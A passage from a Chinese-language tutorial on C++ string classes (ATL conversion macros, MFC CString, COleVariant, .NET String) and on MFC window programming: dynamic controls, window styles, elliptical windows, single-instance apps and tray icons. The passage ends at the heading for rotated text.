例如,W2A() 将Unicode字符串转换为MBCS字符串,T2CW()将TCHAR字符串转换为Unicode字符串常量。
要使用宏转换,程序中要包含atlconv.h头文件。可以在非ATL程序中使用宏转换,因为头文件不依赖其它的ATL,也不需要 _Module全局变量。如在函数中使用转换宏,在函数起始处先写上USES_CONVERSION宏。它表明某些局部变量由宏控制使用。
转换得到的结果字符串,只要不是BSTR,都存储在堆栈中。如果要在函数外使用这些字符串,就要将这些字符串拷贝到其它的字符串类。如果结果是BSTR,内存不会自动释放,因此必须将返回值分配给一个BSTR变量或BSTR的包装类,以避免内存泄露。
下面是若干宏转换示例:
// 带有字符串的函数: void Foo ( LPCWSTR wstr ); void Bar ( BSTR bstr ); // 返回字符串的函数: void Baz ( BSTR* pbstr ); #include main() { using std::string; USES_CONVERSION; // 声明局部变量由宏控制使用 // 示例1:送一个MBCS字符串到Foo() LPCSTR psz1 = "Bob"; string str1 = "Bob"; Foo ( A2CW(psz1) ); Foo ( A2CW(str1.c_str()) ); // 示例2:将MBCS字符串和Unicode字符串送到Bar() LPCSTR psz2 = "Bob"; LPCWSTR wsz = L"Bob"; BSTR bs1; CComBSTR bs2; bs1 = A2BSTR(psz2); // 创建 BSTR bs2.Attach ( W2BSTR(wsz) ); // 同上,分配到CComBSTR Bar ( bs1 ); Bar ( bs2 ); SysFreeString ( bs1 ); // 释放bs1 // 不必释放bs2,由CComBSTR释放。 // 示例3:转换由Baz()返回的BSTR BSTR bs3 = NULL; string str2; Baz ( &bs3 ); // Baz() 填充bs3内容 str2 = W2CA(bs3); // 转换为MBCS字符串 SysFreeString ( bs3 ); // 释放bs3 } 可以看到,向一个需要某种类型参数的函数传递另一种类型的参数,用宏转换是非常方便的。
C++字符串完全指南 - MFC类
MFC类
CString
MFC的CString含有TCHAR,它的实际字符类型取决于 预处理标记的设置。通常,CString象STL字符串一样是不透明对象,只能用CString的方法来修改。CString比STL字符串更优越的是它 的构造函数接受MBCS和Unicode字符串。并且可以转换为LPCTSTR,因此可以向接受LPCTSTR的函数直接传递CString对象,不必调 用c_str()方法。
// 构造
CString s1 = "char string"; // 从LPCSTR构造
CString s2 = L"wide char string"; // 从LPCWSTR构造
CString s3 ( ‘ ‘, 100 ); // 预分配100字节,填充空格
CString s4 = "New window text";
// 可以在LPCTSTR处使用CString:
SetWindowText ( hwndSomeWindow, s4 );
// 或者,显式地做强制类型转换:
SetWindowText ( hwndSomeWindow, (LPCTSTR) s4 );
也可以从字符串表加载字符串。CString通过LoadString()来构造对象。用Format()方法可有选择地从字符串表读取一定格式的字符串。 // 从字符串表构造/加载
CString s5 ( (LPCTSTR) IDS_SOME_STR ); // 从字符串表加载
CString s6, s7;
// 从字符串表加载
s6.LoadString ( IDS_SOME_STR );
// 从字符串表加载打印格式的字符串
s7.Format ( IDS_SOME_FORMAT, "bob", nSomeStuff, ... );
第一个构造函数看上去有点怪,但它的确是文档标定的字符串加载方式。
注意,CString只允许一种强制类型转换,即强制转换为 LPCTSTR。强制转换为LPTSTR (非常量指针)是错误的。按照老习惯,将CString强制转换为LPTSTR只能伤害自己。有时在程序中没有发现出错,那只是碰巧。转换到非常量指针的 正确方法是调用GetBuffer()方法。
下面以往队列加入元素为例说明如何正确地使用CString:
CString str = _T("new text");
LVITEM item = {0};
item.mask = LVIF_TEXT;
item.iItem = 1;
item.pszText = (LPTSTR)(LPCTSTR) str; // 错!
item.pszText = str.GetBuffer(0); // 正确
ListView_SetItem ( &item );
str.ReleaseBuffer(); // 将队列返回给str
pszText成员是LPTSTR,一个非常量指针,因此要用str的GetBuffer()。GetBuffer()的参数是CString分配的最小缓冲区。如果要分配一个1K的TCHAR,调用GetBuffer(1024)。参数为0,只返回指向字符串的指针。
上面示例的出错语句可以通过编译,甚至可以正常工作,如果恰好就 是这个类型。但这不证明语法正确。进行非常量的强制类型转换,打破了面向对象的封装原则,并逾越了CString的内部操作。如果你习惯进行这样的强制类 型转换,终会遇到出错,可你未必知道错在何处,因为你到处都在做这样的转换,而代码也都能运行。
知道为什么人们总在抱怨有缺陷的软件吗?不正确的代码就臭虫的滋生地。然道你愿意编写明知有错的代码让臭虫有机可乘?还是花些时间学习CString的正确用法让你的代码能够100%的正确吧。
CString还有二个函数能够从CString中得到BSTR,并在必要时转换成Unicode。那就是AllocSysString()和SetSysString()。除了SetSysString()使用BSTR*参数外,二者一样。
// 转换成BSTR
CString s5 = "Bob!";
BSTR bs1 = NULL, bs2 = NULL;
bs1 = s5.AllocSysString();
s5.SetSysString ( &bs2 );
// ...
SysFreeString ( bs1 );
SysFreeString ( bs2 );
COleVariant 与CComVariant 非常相似。COleVariant 继承于VARIANT,可以传递给需要VARIANT的函数。但又与CComVariant 不同,COleVariant 只有一个LPCTSTR的构造函数,不提供单独的LPCSTR和LPCWSTR的构造函数。在大多情况下,没有问题,因为总是愿意把字符串处理为 LPCTSTR。但你必须知道这点。COleVariant 也有接受CString的构造函数。
// 构造
CString s1 = _T("tchar string");
COleVariant v1 = _T("Bob"); // 从LPCTSTR构造
COleVariant v2 = s1; // 从CString拷贝
对于CComVariant,必须直接处理VARIANT成员,用ChangeType()方法在必要时将其转换为字符串。但是,COleVariant::ChangeType() 在转换失败时会抛出异常,而不是返回HRESULT的出错码。
// 数据萃取
COleVariant v3 = ...; // 从某种类型构造v3
BSTR bs = NULL;
try
{
v3.ChangeType ( VT_BSTR );
bs = v3.bstrVal;
}
catch ( COleException* e )
{
// 出错,无法转换
}
SysFreeString ( bs );
WTL类
WTL类
CString
WTL的CString与MFC的CString的行为完全相同,参阅上面关于MFC CString的说明即可。
CLR 及 VC 7 类
System::String 是.NET的字符串类。在其内部,String对象是一个不变的字符序列。任何操作String对象的String方法都返回一个新的String对象, 因为原有的String对象要保持不变。String类有一个特性,当多个String都指向同一组字符集时,它们其实是指向同一个对象。Managed Extensions C++ 的字符串有一个新的前缀S,用来表明是一个managed string字符串。
// 构造
String* ms = S"This is a nice managed string";
可以用unmanaged string字符串来构造String对象,但不如用managed string构造String对象有效。原因是所有相同的具有S前缀的字符串都指向同一个对象,而unmanaged string没有这个特点。下面的例子可以说明得更清楚些:
String* ms1 = S"this is nice";
String* ms2 = S"this is nice";
String* ms3 = L"this is nice";
Console::WriteLine ( ms1 == ms2 ); // 输出true
Console::WriteLine ( ms1 == ms3); // 输出false
要与没有S前缀的字符串做比较,用String::CompareTo()方法来实现,如:
Console::WriteLine ( ms1->CompareTo(ms2) );
Console::WriteLine ( ms1->CompareTo(ms3) );
二者都输出0,说明字符串相等。
在String和MFC 7的CString之间转换很容易。CString可以转换为LPCTSTR,String有接受char* 和 wchar_t* 的二种构造函数。因此可以直接把CString传递给String的构造函数:
CString s1 ( "hello world" );
String* s2 ( s1 ); // 从CString拷贝
反向转换的方法也类似:
String* s1 = S"Three cats";
CString s2 ( s1 );
可能有点迷惑。从VS.NET开始,CString有一个接受String对象的构造函数,所以是正确的。
CStringT ( System::String* pString );
为了加速操作,有时可以用基础字符串(underlying string):
String* s1 = S"Three cats";
Console::WriteLine ( s1 );
const __wchar_t __pin* pstr = PtrToStringChars(s1);
for ( int i = 0; i < wcslen(pstr); i++ )
(*const_cast<__wchar_t*>(pstr+i))++;
Console::WriteLine ( s1 );
PtrToStringChars() 返回指向基础字符串的 const __wchar_t* 指针,可以防止在操作字符串时,垃圾收集器去除该字符串。
C++字符串完全指南 - 总结
字符串类的打印格式函数
对字符串包装类使用printf()或其它类似功能的函数时要特别小心。包括sprintf()函数及其变种,以及TRACE 和ATLTRACE 宏。它们的参数都不做类型检验,一定要给它们传递C语言字符串,而不是整个string对象。
例如,要向ATLTRACE()传递一个_bstr_t 里的字符串,必须显式用(LPCSTR)或 (LPCWSTR)进行强制类型转换:
_bstr_t bs = L"Bob!";
ATLTRACE("The string is: %s in line %dn", (LPCSTR) bs, nLine);
如果忘了用强制类型转换,直接把整个 _bstr_t 对象传递给ATLTRACE,跟踪消息将输出无意义的东西,因为_bstr_t 变量内的所有数据都进栈了。
所有类的总结
常用的字符串类之间的转换方法是:将源字符串转换为C类型字符串指针,然后将该指针传递给目标类的构造函数。下面列出将字符串转换为C类型指针的方法,以及哪些类的构造函数接受C类型指针。
Class
string
type
convert to char*?
convert to constchar*?
convert to wchar_t*?
convert to const wchar_t*?
convert to BSTR?
construct from char*?
construct from wchar_t*?
_bstr_t
BSTR
yes, cast1
yes, cast
yes, cast1
yes, cast
yes2
yes
yes
_variant_t
BSTR
no
no
no
cast to
_bstr_t3
cast to
_bstr_t3
yes
yes
string
MBCS
no
yes, c_str()
method
no
no
no
yes
no
wstring
Unicode
no
no
no
yes, c_str()
method
no
no
yes
CComBSTR
BSTR
no
no
no
yes, cast
to BSTR
yes, cast
yes
yes
CComVariant
BSTR
no
no
no
yes4
yes4
yes
yes
CString
TCHAR
no6
in MBCS
builds, cast
no6
in Unicode
builds, cast
no5
yes
yes
COleVariant
BSTR
no
no
no
yes4
yes4
in MBCS builds
in Unicode builds
附注:
虽然 _bstr_t 可以转换为非常量指针,但对内部缓冲区的修改可能导致内存溢出,或在释放BSTR时导致内存泄露。
bstr_t 的BSTR内含 wchar_t* 变量,所以可将const wchar_t* 转换到BSTR。但这个用法将来可能会改变,使用时要小心。
如果转换到BSTR失败,将抛出异常。
用ChangeType()处理VARIANT的bstrVal。在MFC,转换失败将抛出异常。
虽然没有BSTR的转换函数,但AllocSysString()可返回一个新的BSTR。
用GetBuffer()方法可临时得到一个非常量TCHAR指针。
VC编程
动态创建控件
分配一个控件对象的实例并调用其Create成员函数。开发者最容易忽略两件事:忘记指定WS_VISBLE标签和在栈中分配控件对象。下例动态地创建一个下压按钮控件:
//In class declaration (.H file ).
private :
CButton* m _pButton ;
//In class implementation (.cpp file ) ;
m_pButton =new CButton ;
ASSERT_VALID (m_pButton);
m_pButton—>Create (_T ("Button Title ") , WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON, Crect ( 0, 0, 100 , 24) , this , IDC _MYBUTTON ) ;
如何获取一个对话控件的指针
有两种方法:
其一,调用CWnd: : GetDlgItem,获取一个CWnd*指针调用成员函数。下例调用GetDlgItem,将返回值传给一个CSpinButtonCtrl*以便调用CSpinButtonCtrl::SetPos函数:
BOOL CSampleDialog::OnInitDialog ( )
{
CDialog::OnInitDialog ( ) ;
//Get pointer to spin button .
CSpinButtonCtrl * pSpin= ( CSpinButtonCtrl *) GetDlgItem (IDC_SPIN) ;
ASSERT_VALID (pSpin) ;
//Set spin button‘s default position .
pSpin -> SetPos (10) ;
return TRUE ;
}
其二, 可以使用ClassWizard将控件和成员变量联系起来。在ClassWizard中简单地选择Member Variables标签,然后选择Add Variable…按钮。如果在对话资源编辑器中,按下Ctrl键并双击控件即可转到Add Member Variable对话。
1. 修改主窗口风格
AppWizard生成的应用程序框架的主窗口具有缺省的窗口风格,比如在窗口标题条中自动添加文档名、窗口是叠加型的、可改变窗口大小等。要修改窗口 的缺省风格,需要重载CWnd::PreCreateWindow(CREATESTRUCT& cs)函数,并在其中修改CREATESTRUCT型参数cs。
CWnd::PreCreateWindow 函数先于窗口创建函数执行。如果该函数被重载,则窗口创建函数将使用CWnd::PreCreateWindow 函数返回的CREATESTRUCT cs参数所定义的窗口风格来创建窗口;否则使用预定义的窗口风格。
CREATESTRUCT结构定义了创建函数创建窗口所用的初始参数,其定义如下:
typedef struct tagCREATESTRUCT
{
LPVOID lpCreateParams; // 创建窗口的基本参数
HANDLE hInstance; // 拥有将创建的窗口的模块实例句柄
HMENU hMenu; // 新窗口的菜单句柄
HWND hwndParent; // 新窗口的父窗口句柄
int cy; // 新窗口的高度
int cx; // 新窗口的宽度
int y; // 新窗口的左上角Y坐标
int x; // 新窗口的左上角X坐标
LONG style; // 新窗口的风格
LPCSTR lpszName; // 新窗口的名称
LPCSTR lpszClass; // 新窗口的窗口类名
DWORD dwExStyle; // 新窗口的扩展参数
} CREATESTRUCT;
CREATESTRUCT结构的style域定义了窗口的风格。比如,缺省的MDI主窗口的风格中就包括FWS_ADDTOTITLE(在标题条中显示当 前的工作文档名)、FWS_PREFIXTITLE(把文档名放在程序标题的前面)、WS_THICKFRAME(窗口具有可缩放的边框)等风格。由于多 种风格参数由逻辑或(“|”)组合在一起的,因此添加某种风格,就只需用“|”把对应的参数加到CREATESTRUCT结构的style域中;删除已有 的风格,则需用“&”连接CREATESTRUCT结构的style域与该风格的逻辑非值。
CREATESTRUCT结构的x、y、cx、cy域分别定义了窗口的初始位置和大小,因此,在CWnd::PreCreateWindow 函数中给它们赋值,将能定义窗口的初始显示位置和大小。
下例中的代码将主框窗口的大小将固定为1/4屏幕,标题条中仅显示窗口名,不显示文档名。
BOOL CMainFrame::PreCreateWindow(CREATESTRUCT& cs)
{
// TODO: Modify the Window class or styles here by modifying
// the CREATESTRUCT cs
// 修改主窗风格
cs.style &= ~FWS_ADDTOTITLE; //去除标题条中的文档名
cs.style &= ~WS_THICKFRAME; //去除可改变大小的边框
cs.style |= WS_DLGFRAME; //增加不能改变大小的边框
// 确定主窗的大小和初始位置
int cxScreen = ::GetSystemMetrics(SM_CXSCREEN);//获得屏幕宽
int cyScreen = ::GetSystemMetrics(SM_CYSCREEN); //获得屏幕高
cs.x = 0; // 主窗位于左上角
cs.y = 0;
cs.cx = cxScreen/2; // 主窗宽为1/2屏幕宽
cs.cy = cxScreen/2; // 主窗高为1/2屏幕高
return CMDIFrameWnd::PreCreateWindow(cs);
}
2. 创建不规则形状窗口
标准的Windows窗口是矩形的,但在有些时候我们需要非矩形的窗口,比如圆形的、甚至是不规则的。借助CWnd类的SetWindowRgn函数可以创建不规则形状窗口。
CWnd::SetWindowRgn的函数原型如下:
int SetWindowRgn( HRGN hRgn, // 窗口区域句柄
BOOL bRedraw ); // 是否重画窗口
CRgn类封装了关于区域的数据和操作。通过(HRGN)强制操作可以从CRgn类中取得其HRGN值。
CRgn提供了CreateRectRgn、CreateEllipticRgn和CreatePolygonRgn成员函数,分别用以创建矩形、(椭)圆形和多边形区域。
创建非矩形窗口的方法如下:首先,在窗口类中定义区域类成员数据(如CRgn m_rgnWnd);其次,在窗口的OnCreate函数或对话框的OnInitDialog函数中调用CRgn类的CreateRectRgn、 CreateEllipticRgn或CreatePolygonRgn函数创建所需的区域,并调用SetWindowRgn函数。
下例将生成一个椭圆窗口。
1. 在Developer Studio中选取File菜单中的New命令,在出现的New对话框中选择创建MFC AppWizard(exe)框架应用程序,并输入项目名为EllipseWnd。设定应用程序类型为基于对话框(Dialog based),其它选项按缺省值创建项目源文件。
2. 使用资源编辑器从主对话框(ID为IDD_ELLIPSEWND_DIALOG)删除其中的所有控制,并从其属性对话框(Dialog Properties)中设定其风格为Popup、无标题条和边框。
3. 在EllipseWndDlg.h源文件中给主对话框类CEllipseWndDlg增加一个CRgn类保护型数据成员m_rgnWnd,它将定义窗口的区域。
4. 在EllipseWndDlg.cpp源文件中修改主对话框类CEllipseWndDlg的OnInitDialog()函数,增加m_rgnWnd的创建,并将其定义为窗口区域。粗体语句为新增部分。
BOOL CEllipseWndDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// Add "About..." menu item to system menu.
// IDM_ABOUTBOX must be in the system command range.
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX < 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
CString strAboutMenu;
strAboutMenu.LoadString(IDS_ABOUTBOX);
if (!strAboutMenu.IsEmpty())
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX,
strAboutMenu);
}
}
// Set the icon for this dialog. The framework does this automatically
// when the application‘s main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
// 设置窗口标题为“椭圆窗口”,虽然对话框没有标题条,
// 但在任务条的按钮中仍需要标题
SetWindowText(_T("椭圆窗口"));
// 取得屏幕宽、高
int cxScreen = ::GetSystemMetrics(SM_CXSCREEN);
int cyScreen = ::GetSystemMetrics(SM_CYSCREEN);
// 设置椭圆X、Y方向的半径
int nEllipseWidth = cxScreen/8;
int nEllipseHeight = cyScreen/8;
// 将窗口大小设为宽nEllipseWidth,高nEllipseHeight
// 并移至左上角
MoveWindow(0, 0, nEllipseWidth, nEllipseHeight);
// 创建椭圆区域m_rgnWnd
m_rgnWnd.CreateEllipticRgn(0, 0, nEllipseWidth, nEllipseHeight);
// 将m_rgnWnd设置为窗口区域
SetWindowRgn((HRGN)m_rgnWnd, TRUE);
return TRUE; // return TRUE unless you set the focus to a control
}
3. 用鼠标单击窗口标题条以外区域移动窗口
移动标准窗口是通过用鼠标单击窗口标题条来实现的,但对于没有标题条的窗口,就需要用鼠标单击窗口标题条以外区域来移动窗口。有两种方法可以达到这一目标。
方法一:当窗口确定鼠标位置时,Windows向窗口发送WM_NCHITTEST消息,可以处理该消息,使得只要鼠标在窗口内,Windows便 认为鼠标在标题条上。这需要重载CWnd类处理WM_NCHITTEST消息的OnNcHitTest函数,在函数中调用父类的该函数,如果返回 HTCLIENT,说明鼠标在窗口客户区内,使重载函数返回HTCAPTION,使Windows误认为鼠标处于标题条上。
下例是使用该方法的实际代码:
UINT CEllipseWndDlg::OnNcHitTest(CPoint point)
{
// 取得鼠标所在的窗口区域
UINT nHitTest = CDialog::OnNcHitTest(point);
// 如果鼠标在窗口客户区,则返回标题条代号给Windows
// 使Windows按鼠标在标题条上类进行处理,即可单击移动窗口
return (nHitTest==HTCLIENT) ? HTCAPTION : nHitTest;
}
方法二:当用户在窗口客户区按下鼠标左键时,使Windows认为鼠标是在标题条上,即在处理WM_LBUTTONDOWN消息的处理函数 OnLButtonDown中发送一个wParam参数为HTCAPTION,lParam为当前坐标的WM_NCLBUTTONDOWN消息。
下面是使用该方法的实际代码:
void CEllipseWndDlg::OnLButtonDown(UINT nFlags, CPoint point)
{
// 调用父类处理函数完成基本操作
CDialog::OnLButtonDown(nFlags, point);
// 发送WM_NCLBUTTONDOWN消息
// 使Windows认为鼠标在标题条上
PostMessage(WM_NCLBUTTONDOWN,
HTCAPTION,
MAKELPARAM(point.x, point.y));
}
4. 使用上下文菜单
Windows 95应用程序支持单击鼠标右键弹出上下文菜单的功能,这可通过处理WM_CONTEXTMENU消息来实现。当在窗口内单击鼠标右键时,窗口将接收到 WM_CONTEXTMENU消息,在该消息的处理函数内装载上下文菜单,并调用CMenu::TrackPopupMenu函数便可显示上下文菜单。 CMenu::TrackPopupMenu函数的原型如下:
BOOL TrackPopupMenu( UINT nFlags, // 显示和选取方式标志
int x, int y, // 显示菜单的左上角坐标
CWnd* pWnd, // 接收菜单操作的窗口对象
LPCRECT lpRect = NULL ); // 敏感区域
为了使用上下文菜单,首先应在资源编辑器中编制好上下文菜单,假设上下文菜单名为IDR_MENU_CONTEXT;其次,用ClassWizard给窗 口增加处理消息WM_CONTEXTMENU的函数OnContextMenu,以及各菜单命令的处理函数;然后编写相应的代码。
下面的是OnContextMenu函数的代码实例:
void CEllipseWndDlg::OnContextMenu(CWnd* pWnd, CPoint point)
{
CMenu menu;
// 装入菜单
menu.LoadMenu(IDR_MENU_CONTEXT);
// 显示菜单
menu.GetSubMenu(0)->TrackPopupMenu(
TPM_LEFTALIGN|TPM_LEFTBUTTON|TPM_RIGHTBUTTON, point.x, point.y, this);
}
5. 使应用程序只能运行一个实例
Windows是多进程操作系统,框架生成的应用程序可以多次运行,形成多个运行实例。但在有些情况下为保证应用程序的安全运行,要求程序只能运行一个实 例,比如程序要使用只能被一个进程单独使用的特殊硬件(例如调制解调器)时,必须限制程序只运行一个实例。
这里涉及两个基本的问题,一是在程序的第二个实例启动时,如何发现该程序已有一个实例在运行,而是如何将第一个实例激活,而第二个实例退出。
对于第一个问题,可以通过给应用程序设置信号量,实例启动时首先检测该信号量,如已存在,则说明程序已运行一个实例。第二个问题的难点是获取第一个实例的 主窗对象指针或句柄,然后便可用SetForegroundWindow来激活。虽然FindWindow函数能寻找正运行着的窗口,但该函数要求指明所 寻找窗口的标题或窗口类名,不是实现通用方法的途径。我们可以用Win 32 SDK函数SetProp来给应用程序主窗设置一个特有的标记。用GetDesktopWindow可以获取Windows系统主控窗口对象指针或句柄, 所有应用程序主窗都可看成该窗口的子窗口,即可用GetWindow函数来获得它们的对象指针或句柄。用Win 32 SDK函数GetProp查找每一应用程序主窗是否包含有我们设置的特定标记便可确定它是否我们要寻找的第一个实例主窗。使第二个实例退出很简单,只要让 其应用程序对象的InitInstance函数返回FALSE即可。此外,当主窗口退出时,应用RemoveProp函数删除我们为其设置的标记。
下面的InitInstance、OnCreate和OnDestroy函数代码将实现上述的操作:
BOOL CEllipseWndApp::InitInstance()
{
// 用应用程序名创建信号量
HANDLE hSem = CreateSemaphore(NULL, 1, 1, m_pszExeName);
// 信号量已存在?
// 信号量存在,则程序已有一个实例运行
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
// 关闭信号量句柄
CloseHandle(hSem);
// 寻找先前实例的主窗口
HWND hWndPrevious = ::GetWindow(::GetDesktopWindow(), GW_CHILD);
while (::IsWindow(hWndPrevious))
{
// 检查窗口是否有预设的标记?
// 有,则是我们寻找的主窗
if (::GetProp(hWndPrevious, m_pszExeName))
{
// 主窗口已最小化,则恢复其大小
if (::IsIconic(hWndPrevious))
::ShowWindow(hWndPrevious, SW_RESTORE);
// 将主窗激活
::SetForegroundWindow(hWndPrevious);
// 将主窗的对话框激活
::SetForegroundWindow(::GetLastActivePopup(hWndPrevious));
// 退出本实例
return FALSE;
}
// 继续寻找下一个窗口
hWndPrevious = ::GetWindow(hWndPrevious, GW_HWNDNEXT);
}
// 前一实例已存在,但找不到其主窗
// 可能出错了
// 退出本实例
return FALSE;
}
AfxEnableControlContainer();
// Standard initialization
// If you are not using these features and wish to reduce the size
// of your final executable, you should remove from the following
// the specific initialization routines you do not need.
#ifdef _AFXDLL
Enable3dControls(); // Call this when using MFC in a shared DLL
#else
Enable3dControlsStatic();// Call this when linking to MFC statically
#endif
CEllipseWndDlg dlg;
m_pMainWnd = &dlg;
int nResponse = dlg.DoModal();
if (nResponse == IDOK)
{
// TODO: Place code here to handle when the dialog is
// dismissed with OK
}
else if (nResponse == IDCANCEL)
{
// TODO: Place code here to handle when the dialog is
// dismissed with Cancel
}
// Since the dialog has been closed, return FALSE so that we exit the
// application, rather than start the application‘s message pump.
return FALSE;
}
int CEllipseWndDlg::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
if (CDialog::OnCreate(lpCreateStruct) == -1)
return -1;
// 设置寻找标记
::SetProp(m_hWnd, AfxGetApp()->m_pszExeName, (HANDLE)1);
return 0;
}
void CEllipseWndDlg::OnDestroy()
{
CDialog::OnDestroy();
// 删除寻找标记
::RemoveProp(m_hWnd, AfxGetApp()->m_pszExeName);
}
6. 使应用程序显示为任务条通知区中的图标
在Windows 95任务条的右边有一个区域被称为通知区域,在其中可以显示一些应用程序的图标,用鼠标单击其中的图标一般能弹出应用程序的菜单,双击则能显示应用程序的 完整窗口界面。时钟和音量控制是任务条通知区最常见的图标。任务条通知区编程可以通过Windows 95外壳编程接口函数Shell_NotifyIcon来实现,该函数在shellapi.h头文件中声明,其原型如下:
WINSHELLAPI BOOL WINAPI Shell_NotifyIcon( DWORD dwMessage, PNOTIFYICONDATA pnid);
dwMessage是对通知区图标进行操作的消息,主要有三中,如下表所示。
Shell_NotifyIcon使用的消息
消息说明
NIM_ADD
在任务条通知区插入一个图标
NIM_ DELETE
在任务条通知区删除一个图标
NIM_ MODIFY
对任务条通知区的图标进行修改
pnid传入一个NOTIFYICONDATA结构的指针。NOTIFYICONDATA结构声明及各域的意义表示如下:
typedef struct _NOTIFYICONDATA
{
// nid
DWORD cbSize; // NOTIFYICONDATA结构的字节数
HWND hWnd; // 处理通知区图标消息的窗口句柄
UINT uID; // 通知区图标的ID
UINT uFlags; // 表示下述三项是否有意义的标志
UINT uCallbackMessage; // 鼠标点击图标所发出消息的ID
HICON hIcon; // 图标句柄
char szTip[64]; // 当鼠标移到图标上时显示的提示信息
} NOTIFYICONDATA, *PNOTIFYICONDATA;
当用Shell_NotifyIcon在任务条通知区中放置一个图标时,同时也定义了一条回调消息,当用户用鼠标单击或双击图标 时,NOTIFYICONDATA结构中指定的窗口句柄将接受到该消息。该消息的lParam参数将说明鼠标操作的方式。当应用程序退出时,应删除任务条 中的图标。
下面的示例将说明如何使前述的椭圆窗口程序作为图标显示在任务条通知区中,当鼠标单击图标时,将弹出一个菜单,当双击时,椭圆窗口将完整显示。
1. 用资源编辑器在EllipseWnd项目的IDR_MENU_CONTEXT菜单中增加一个菜单项“在任务条中插入图标”(ID为IDM_INSERTICON)。
2. 用资源编辑器在EllipseWnd项目中增加一个菜单资源IDR_MENU_ICON ,在其中设定三个菜单项:
“激活椭圆窗口”(ID为IDM_ACTIVEWINDOW)
“关于...”(ID为IDM_ABOUTBOX)
“退出 Alt+F4”(ID为IDM_EXIT)
3. 在CEllipseWndDlg.h源文件中定义一个消息UM_ICONNOTIFY用以响应图标操作,并在CEllipseWndDlg类定义中增加响 应该消息的处理函数OnIconNotify。用ClassWizard增加响应菜单命令IDM_INSERTICON和 IDM_ACTIVEWINDOW的函数定义和模板。CEllipseWndDlg.h中的修改如下:
// 定义响应图标操作的消息
#define UM_ICONNOTIFY WM_USER+100
class CEllipseWndDlg : public CDialog
{
// Construction
public:
CEllipseWndDlg(CWnd* pParent = NULL); // standard constructor
// Dialog Data
//{{AFX_DATA(CEllipseWndDlg)
enum { IDD = IDD_ELLIPSEWND_DIALOG };
// NOTE: the ClassWizard will add data members here
//}}AFX_DATA
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CEllipseWndDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
// Implementation
protected:
HICON m_hIcon;
CRgn m_rgnWnd;
// 处理图标的功能函数说明
BOOL AddIcon();
BOOL DeleteIcon();
// Generated message map functions
//{{AFX_MSG(CEllipseWndDlg)
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnPaint();
afx_msg HCURSOR OnQueryDragIcon();
afx_msg void OnLButtonDown(UINT nFlags, CPoint point);
afx_msg void OnContextMenu(CWnd* pWnd, CPoint point);
afx_msg void OnAboutbox();
afx_msg void OnExit();
afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);
afx_msg void OnDestroy();
afx_msg void OnInserticon();
afx_msg void OnActivewindow();
//}}AFX_MSG
// 图标消息的处理函数说明
afx_msg void OnIconNotify(WPARAM wParam, LPARAM lParam);
DECLARE_MESSAGE_MAP()
};
4. 在CEllipseWndDlg.cpp中增加消息影射条目如下:
BEGIN_MESSAGE_MAP(CEllipseWndDlg, CDialog)
//{{AFX_MSG_MAP(CEllipseWndDlg)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_WM_LBUTTONDOWN()
ON_WM_CONTEXTMENU()
ON_COMMAND(IDM_ABOUTBOX, OnAboutbox)
ON_COMMAND(IDM_EXIT, OnExit)
ON_WM_CREATE()
ON_WM_DESTROY()
ON_COMMAND(IDM_INSERTICON, OnInserticon)
ON_COMMAND(IDM_ACTIVEWINDOW, OnActivewindow)
//}}AFX_MSG_MAP
ON_MESSAGE(UM_ICONNOTIFY, OnIconNotify)
END_MESSAGE_MAP()
5. 在CEllipseWndDlg.cpp中增加如下的函数或代码:
void CEllipseWndDlg::OnDestroy()
{
CDialog::OnDestroy();
// remove main window tag
::RemoveProp(m_hWnd, AfxGetApp()->m_pszExeName);
// 应用程序退出时,删除任务条中图标
DeleteIcon();
}
BOOL CEllipseWndDlg::AddIcon()
{
// 在任务条中增加图标
NOTIFYICONDATA nid;
nid.cbSize = sizeof(nid);
nid.hWnd = m_hWnd;
nid.uID = IDR_MAINFRAME;
nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP;
nid.uCallbackMessage = UM_ICONNOTIFY;
nid.hIcon = m_hIcon;
CString str = "椭圆窗口";
lstrcpyn(nid.szTip, (LPCSTR)str,
sizeof(nid.szTip) / sizeof(nid.szTip[0]));
return Shell_NotifyIcon(NIM_ADD, &nid);
}
BOOL CEllipseWndDlg::DeleteIcon()
{
// 删除任务条中的图标
NOTIFYICONDATA nid;
nid.cbSize = sizeof(nid);
nid.hWnd = m_hWnd;
nid.uID = IDR_MAINFRAME;
return Shell_NotifyIcon(NIM_DELETE, &nid);
}
// 响应图标消息处理函数
void CEllipseWndDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
{
switch ((UINT)lParam)
{
// 鼠标单击操作
case WM_LBUTTONDOWN:
case WM_RBUTTONDOWN:
{
// 装入图标操作菜单
CMenu menu;
menu.LoadMenu(IDR_MENU_ICON);
// 鼠标单击位置
CPoint point;
GetCursorPos(&point);
// 将背景窗口激活
SetForegroundWindow();
// 显示图标菜单
menu.GetSubMenu(0)->TrackPopupMenu(TPM_LEFTBUTTON|TPM_RIGHTBUTTON,
point.x, point.y, this, NULL);
// 增加一个额外消息,使菜单操作正确
PostMessage(WM_USER, 0, 0);
break;
}
// 鼠标双击操作
case WM_LBUTTONDBLCLK:
// 激活应用程序
OnActivewindow();
break;
}
}
// 插入图标到任务条通知区
void CEllipseWndDlg::OnInserticon()
{
// 先隐藏主窗
ShowWindow(SW_HIDE);
// 插入图标
AddIcon();
}
// 激活主窗
void CEllipseWndDlg::OnActivewindow()
{
// 先删除图标
DeleteIcon();
// 显示主窗
ShowWindow(SW_SHOW);
UpdateWindow();
}
7. 显示旋转文本
